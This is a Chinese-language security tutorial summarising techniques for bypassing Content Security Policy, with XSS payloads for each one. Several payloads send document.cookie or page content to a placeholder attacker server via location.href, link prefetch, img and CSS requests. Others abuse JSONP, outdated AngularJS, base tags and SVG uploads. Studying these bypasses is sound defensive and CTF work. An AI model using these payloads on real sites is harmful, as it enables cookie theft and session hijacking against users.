我的CSP绕过思路及总结

admin 2022年7月24日04:11:09评论760 views字数 9488阅读31分37秒阅读模式

导语

本文作者为三叶草核心成员evoA,此篇文章较为系统的总结的CSP绕过思路和方法。本文首发于先知:https://xz.aliyun.com/t/5084

1.CSP简介

内容安全策略(CSP)是一种web应用技术用于帮助缓解大部分类型的内容注入攻击,包括XSS攻击和数据注入等,这些攻击可实现数据窃取、网站破坏和作为恶意软件分发版本等行为。该策略可让网站管理员指定客户端允许加载的各类可信任资源。

当代网站太容易收到XSS的攻击,CSP就是一个统一有效的防止网站收到XSS攻击的防御方法。CSP是一种白名单策略,当有从非白名单允许的JS脚本出现在页面中,浏览器会阻止脚本的执行。CSP的具体介绍可以看看手册内容安全策略(https://developer.mozilla.org/zh-CN/docs/Web/Security/CSP)


2.CSP的绕过


CSP的绕过从CSP的诞生开始就一直被前端的安全研究人员所热衷,本文总结一些我了解到的CSP的绕过方式,若有不足,敬请批评补充

2.1 location.href

CSP不影响location.href跳转,因为当今大部分网站的跳转功能都是由前端实现的,CSP如果限制跳转会影响很多的网站功能。所以,用跳转来绕过CSP获取数据是一个万能的办法,虽然比较容易被发现,但是在大部分情况下对于我们已经够用 当我们已经能够执行JS脚本的时候,但是由于CSP的设置,我们的cookie无法带外传输,就可以采用此方法,将cookie打到我们的vps上

  1. location.href = "vps_ip:xxxx?"+document.cookie

有人跟我说可以跳过去再跳回来,但是这样不是会死循环一直跳来跳去吗2333333 利用条件:

  1. 可以执行任意JS脚本,但是由于CSP无法数据带外

2.2  link标签导致的绕过

这个方法其实比较老,去年我在我机器上试的时候还行,现在就不行了 因为这个标签当时还没有被CSP约束,当然现在浏览器大部分都约束了此标签,但是老浏览器应该还是可行的。所以我们可以通过此标签将数据带外

  1. <!-- firefox -->

  2. <link rel="dns-prefetch" href="//${cookie}.vps_ip">


  3. <!-- chrome -->

  4. <link rel="prefetch" href="//vps_ip?${cookie}">

当然这个是我们写死的标签,如何把数据带外?

  1. var link = document.createElement("link");

  2. link.setAttribute("rel", "prefetch");

  3. link.setAttribute("href", "//vps_ip/?" + document.cookie);

  4. document.head.appendChild(link);

这样就可以把cookie带外了 利用条件:

  1. 可以执行任意JS脚本,但是由于CSP无法数据带外

2.3  使用Iframe绕过

当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面,另一个没有CSP保护B页面,那么如果B页面存在XSS漏洞,我们可以直接在B页面新建iframe用javascript直接操作A页面的dom,可以说A页面的CSP防护完全失效 A页面:

  1. <!-- A页面 -->

  2. <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">


  3. <h1 id="flag">flag{0xffff}</h1>

B页面:

  1. <!-- B页面 -->


  2. <!-- 下面模拟XSS -->

  3. <body>

  4. <script>

  5. var iframe = document.createElement('iframe');

  6. iframe.src="A页面";

  7. document.body.appendChild(iframe);

  8. setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);

  9. </script>

  10. </body>

我的CSP绕过思路及总结setTimeout是为了等待iframe加载完成 利用条件:

  1. 一个同源站点内存在两个页面,一个页面存在CSP保护,另一个页面没有CSP保护且存在XSS漏洞

  2. 我们需要的数据在存在CSP保护的页面

2.4  用CDN来绕过

一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险 这里给出orange师傅绕hackmd CSP的文章Hackmd XSS(https://paper.seebug.org/855/)XSS案例中hackmd中CSP引用了cloudflare.com CDN服务,于是orange师傅采用了低版本的angular js模板注入来绕过CSP,如下

  1. <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">

  2. <!-- foo="-->

  3. <script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>

  4. </script>

  5. <div ng-app>

  6. {{constructor.constructor('alert(document.cookie)')()}}

  7. </div>

这个是存在低版本angular js的cdn服务

https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js#L26-L76

除了低版本angular js的模板注入,还有许多库可以绕过CSP 下面引用

https://www.jianshu.com/p/f1de775bc43e 

如果用了Jquery-mobile库,且CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",可以用此exp

  1. <div data-role=popup id='<script>alert(1)</script>'></div>

还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie

  1. <amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

blackhat2017有篇ppt总结了可以被用来绕过CSP的一些JS库 

https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf 

利用条件:

  1. CDN服务商存在某些低版本的js库

  2. 此CDN服务商在CSP白名单中

2.5  站点可控静态资源绕过

给一个绕过codimd的(实例)codimd xss (https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md)案例中codimd的CSP中使用了 www.google-analytics.com而www.google.analytics.com中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP我的CSP绕过思路及总结

  1. <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">

  2. <script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

我的CSP绕过思路及总结

同理,若其他站点下提供了可控静态资源的功能,且CSP中允许了此站点,则可以采用此方式绕过 利用条件:

  1. 站点存在可控静态资源

  2. 站点在CSP白名单中

2.6  站点可控JSONP绕过

JSONP的详细介绍可以看看我之前的一篇文章https://xz.aliyun.com/t/4470 大部分站点的jsonp是完全可控的,只不过有些站点会让jsonp不返回html类型防止直接的反射型XSS,但是如果将url插入到script标签中,除非设置x-content-type-options头,否者尽管返回类型不一致,浏览器依旧会当成js进行解析 以ins'hack 2019/的bypasses-everywhere这道题为例,题目中的csp设置了www.google.com

  1. Content-Security-Policy: script-src www.google.com; img-src *; default-src 'none'; style-src 'unsafe-inline'

看上去非常天衣无缝,但是google站点存在了用户可控jsonp

  1. <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src https://www.google.com">


  2. <script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>

我的CSP绕过思路及总结配合注释符,我们即可执行任意js 下面是一些存在用户可控资源或者jsonp比较常用站点的github项目 

https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180 

利用条件:

  1. 站点存在可控Jsonp

  2. 站点在CSP白名单中

2.7  Base-uri绕过

第一次知道base-uri绕过是RCTF 2018 rBlog的非预期解https://blog.cal1.cn/post/RCTF 2018 rBlog writeup当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用 <base>标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径 exp

  1. <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">

  2. <base href="//vps_ip/">

  3. <script nonce='test' src="2.js"></script>

我的CSP绕过思路及总结我的CSP绕过思路及总结注意:如果页面的script-src不是采用的nonce而是self或者域名ip,则不能使用此方法,因为vps_ip不在csp白名单内

利用条件:

  1. script-src只使用nonce

  2. 没有额外设置base-uri

  3. 页面引用存在相对路径的 <script>标签

2.8  不完整script标签绕过nonce

考虑下下列场景,如果存在这样场景,该怎么绕过CSP

  1. <?php header("X-XSS-Protection:0");?>

  2. <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">

  3. <?php echo $_GET['xss']?>

  4. <script nonce='xxxxx'>

  5. //do some thing

  6. </script>

如果我们输入 http://127.0.0.1/2.php?xss=<script src=data:text/plain,alert(1) 即可xss 这是因为当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性,所以第五行的<script会变成一个属性,值为空,之后的nonce='xxxxx'会被当成我们输入的script的标签的一个属性,相当于我们盗取了合法的script标签中的nonce,于是成功绕过了scripr-src

但是在chrome中,虽然第二个 这里可以用到标签的一个技巧,当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器忽略

  1. <!-- 3.php -->

  2. <h1 a="123" b="456" a="789" a="abc">123</h1>

我的CSP绕过思路及总结

于是我们可以输入 http://127.0.0.1/2.php?xss=123<script src="data:text/plain,alert(1)" a=123 a= 先新建一个a属性,然后再新建第二个a属性,这样我们就将第二个<script赋给了第二个a属性,浏览器在解析的时候直接忽略了第二个属性及其后面的值,这样exp就能成功在chrome浏览器上执行 利用条件:

  1. 可控点在合法script标签上方,且其中没有其他标签

  2. XSS页面的CSP script-src只采用了nonce方式

2.9  object-src绕过(PDFXSS)

假如只有这一个页面,我们能有办法执行JS吗

  1. <meta http-equiv="Content-Security-Policy" content="script-src 'self'">

  2. <?php echo $_GET['xss']?>

在CSP标准里面,有一个属性是object-src,它限制的是 标签的src,也就是插件的src 于是我们可以通过插件来执行Javascript代码,插件的js代码并不受script-src的约束 最常见的就是flash-xss,但是flash实在太老,而且我想在看的师傅们也很少会开浏览器的flash了,所以我这里也不说明了,这里主要讲之前一个提交asrc的pdf-xss为例 PDF文件中允许执行javascript脚本,但是之前浏览器的pdf解析器并不会解析pdf中的js,但是之前chrome的一次更新中突然允许加载pdf的javascript脚本


  1. <embed width="100%" height="100%" src="//vps_ip/123.pdf"></embed>

我的CSP绕过思路及总结当然pdf的xss并不是为所欲为,比如pdf-xss并不能获取页面cookie,但是可以弹窗,url跳转等 具体可以看看这篇文章https://blog.csdn.net/microzone/article/details/52850623里面有上面实例用的恶意pdf文件

当然,上面的例子并没有设置default-src,所以我们可以用外域的pdf文件,如果设置了default-src,我们必须找到一个pdf的上传点,(当然能上传的话直接访问这个pdf就能xss了2333),然后再用标签引用同域的pdf文件

利用条件:

  1. 没有设置object-src,或者object-src没有设置为'none'

  2. pdf用的是chrome的默认解析器

2.10  SVG绕过

SVG作为一个矢量图,但是却能够执行javascript脚本,如果页面中存在上传功能,并且没有过滤svg,那么可以通过上传恶意svg图像来xss

之前的easer CONFidence CTF就出过svg的xss 引用  https://www.smi1e.top/通过一道题了解缓存投毒和svg-xss/ 1.svg

  1. <?xml version="1.0" encoding="UTF-8" standalone="no"?>

  2. <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

  3. <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"

  4. href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />

  5. <script>alert(1)</script>

  6. </svg>

我的CSP绕过思路及总结利用条件:

  1. 可以上传svg图片

2.11  不完整的资源标签获取资源

看看下面的例子,我们如何把flag给带出来

  1. <meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;">

  2. <?php echo $_GET['xss']?>

  3. <h1>flag{0xffff}</h1>

  4. <h2 id="id">3</h2>

这里可以注意到img用了*,有些网站会用很多外链图片,所以这个情况并不少见 虽然我们可以新建任意标签,但是由于CSP我们的JS并不能执行(没有unsafe-inline),于是我们可以用不完整的

exp: http://127.0.0.1/2.php?xss=<img src="//VPS_IP?a=此时,由于src的引号没有闭合,html解析器会去一直寻找第二个引号,引号其中的大部分标签都不会被解析,所以在第四行的第一个引号前的所有内容,都会被当成src的值被发送到我们的vps上我的CSP绕过思路及总结需要注意的是,chrome下这个exp并不会成功,因为chrome不允许发出的url中含有回车或<,否者不会发出我的CSP绕过思路及总结利用条件:

  1. 可以加载外域资源 (img-src: *)

  2. 需要获取页面某处的信息

  3. 不好总结,看上面例子,懂意思就行

2.12  CSS选择器获取内容

这个来自2018 SECCON CTF的一道题,虽然原题中不是用来绕csp,但是也能拿过来利用,当然利用条件比较苛刻,需要 设置style-src为*,或者只设置了script-src 原题可以看看这篇文章https://www.yourhome.ren/index.php/sec/608.html 大概思路就是css提供了选择器,当选择器到对应元素的时,可以加载一个外域请求,相当于sql的盲注

  1. //这里引用的是上面文章中的exp

  2. input[value^="6703"] {background-image:url("http://vps_ip/?6703");}

这句话的意思是,当input的value值已6703开头,则去加载后面的url,于是我们可以一位一位爆破,先猜第一位,再猜第二位。

  1. <meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; style-src 'unsafe-inline';img-src *">

  2. <?php echo $_GET['xss']?>

  3. <input value="flag{0xffff}">

exp: http://127.0.0.1/1.php?xss=<style>input[value^="flag{0xffff}"] {background-image:url("http://47.106.65.216:1002/?flag{0xffff}")}%3C/style%3E我的CSP绕过思路及总结太苛刻了,之前想到随便提一下好了 利用条件:(好苛刻啊都不想写了)

  1. style允许内敛,img可以跨域

  2. 需要获取的数据在页面内

  3. 可以新建标签

  4. 可以多次发送xss且获取的数据不会变(毕竟不可能一次请求就注出来,除非能执行js写脚本一口气注)

2.13  CRLF绕过

HCTF2018的一道题,当一个页面存在CRLF漏洞时,且我们的可控点在CSP上方,就可以通过注入回车换行,将CSP挤到HTTP返回体中,这样就绕过了CSP 原题github https://github.com/Lou00/HCTF2018_Bottle

这个原理比较简单,就不写条件了

3. 后话


个人总结的一些csp绕过思路,并不是很全,若有不足,敬请批评补充

4. 参考链接


[https://xz.aliyun.com/t/318#toc-3]

[https://xz.aliyun.com/t/315/]

[https://www.jianshu.com/p/f1de775bc43e]

[https://inside.pixiv.blog/kobo/5137]

[https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js#L26-L76]

[https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180]

[https://corb3nik.github.io/blog/ins-hack-2019/bypasses-everywhere]

[https://www.smi1e.top/通过一道题了解缓存投毒和svg-xss/]

[https://blog.cal1.cn/post/RCTF 2018 rBlog writeup]

[https://lorexxar.cn/2017/05/16/nonce-bypass-script/]

[https://blog.csdn.net/microzone/article/details/52850623]

[https://paper.seebug.org/855/]

[https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md]


三叶草小组公众号

微信号 : 三叶草小组Syclover

新浪微博:@三叶草小组Syclover

我的CSP绕过思路及总结



原文始发于微信公众号(三叶草小组Syclover):我的CSP绕过思路及总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月24日04:11:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   我的CSP绕过思路及总结http://cn-sec.com/archives/948368.html

发表评论

匿名网友 填写信息